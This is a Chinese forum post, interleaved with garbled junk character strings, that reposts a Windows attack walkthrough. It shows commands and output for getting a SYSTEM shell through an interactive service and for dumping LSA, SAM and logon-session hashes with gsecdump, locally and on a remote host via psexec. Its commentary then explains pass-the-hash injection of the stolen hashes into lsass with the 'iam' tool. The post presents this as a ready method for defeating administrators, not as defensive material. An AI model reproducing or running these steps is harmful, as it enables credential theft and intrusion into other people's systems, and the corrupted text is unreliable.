HASH注入式攻击

admin

o get a DOS Prompt as NT system:
# h7 ^$ z4 n- ^1 c( i
( F" I" X( m; iC:\>sc create shellcmdline binpath= "C:\WINDOWS\system32\cmd.exe /K start" type= own type= interact
[SC] CreateService SUCCESS

C:\>sc start shellcmdline
- Q' U8 D' E5 n[SC] StartService FAILED 1053:
3 B, g9 {! X6 n
7 y6 h7 s% H" S$ xThe service did not respond to the start or control request in a timely fashion.

C:\>sc delete shellcmdline
[SC] DeleteService SUCCESS

5 k$ d3 K$ \' {3 s------------

Then in the new DOS window:
- z* r/ H  ]6 |& e
Microsoft Windows XP [Version 5.1.2600]
8 O/ ]/ E$ d: H" a+ p(C) Copyright 1985-2001 Microsoft Corp.
% R6 O0 t- T7 F0 \! Z9 P8 \
. N, z! C# m* U/ r3 X! DC:\WINDOWS\system32>whoami
NT AUTHORITY\SYSTEM

C:\WINDOWS\system32>gsecdump -h
0 `* X8 P- w) v2 ?( i, j* O, W8 Hgsecdump v0.6 by Johannes Gumbel (链接标记johannes.gumbel@truesec.se)
usage: gsecdump [options]
* I) D2 r5 u3 |/ z
" \5 K* T9 z0 g' ~3 w7 Toptions:
9 d% w+ Q1 V- p6 B' Q1 F6 F-h [ --help ] show help
-a [ --dump_all ] dump all secrets
-l [ --dump_lsa ] dump lsa secrets
-w [ --dump_wireless ] dump microsoft wireless connections
-u [ --dump_usedhashes ] dump hashes from active logon sessions
-s [ --dump_hashes ] dump hashes from SAM/AD

Although I like to use:
" ?9 g7 s4 C- y! B
PsExec v1.83 - Execute processes remotely
Copyright (C) 2001-2007 Mark Russinovich
Sysinternals - 链接标记[url]www.sysinternals.com[/url]
2 a$ \" }3 b& V
C:\>psexec \\COMPUTER -u user -p password -s -f -c gsecdump.exe -u >Active-HASH.TXT
% o$ L1 i( W% V! `! B4 t+ p3 M
, W! ?& F# \* \; mto get the hashes from active logon sessions of a remote system.
& s; G% I$ }1 s  x! C: a
( D4 e- W$ q- RThese are a lot better than getting a cachedump of the Cached Credentials because these hashes are LMHashes that can be easily broken with Rainbow Tables.

提示一下,可以使用pshtools工具包中的iam,把刚才使用gsecdump抓取出来HASH信息导入本地的lsass进程,来实现hash注入式攻击,还是老外厉害,这下管理员有得忙了,ARP欺骗的时候获得的LM/NThash,还有gethash获得的,其实根本不用破解密码,这个就是利用工具了,原文说的好,不管密码是设置4位还是127位,只要有了hash,100%就能搞定了.
  L6 r6 |1 y9 i! t% K原文出处:链接标记[url]http://truesecurity.se/blogs/mur ... -text-password.aspx[/url]
% Z! }! \2 z, r, W7 e' }
我看了下原文出处，貌似是/2007/03/16/郁闷啊，差距。